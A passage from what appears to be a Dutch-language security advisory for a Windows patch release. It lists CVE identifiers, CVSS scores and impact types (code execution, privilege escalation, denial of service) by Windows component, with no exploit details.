\n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | 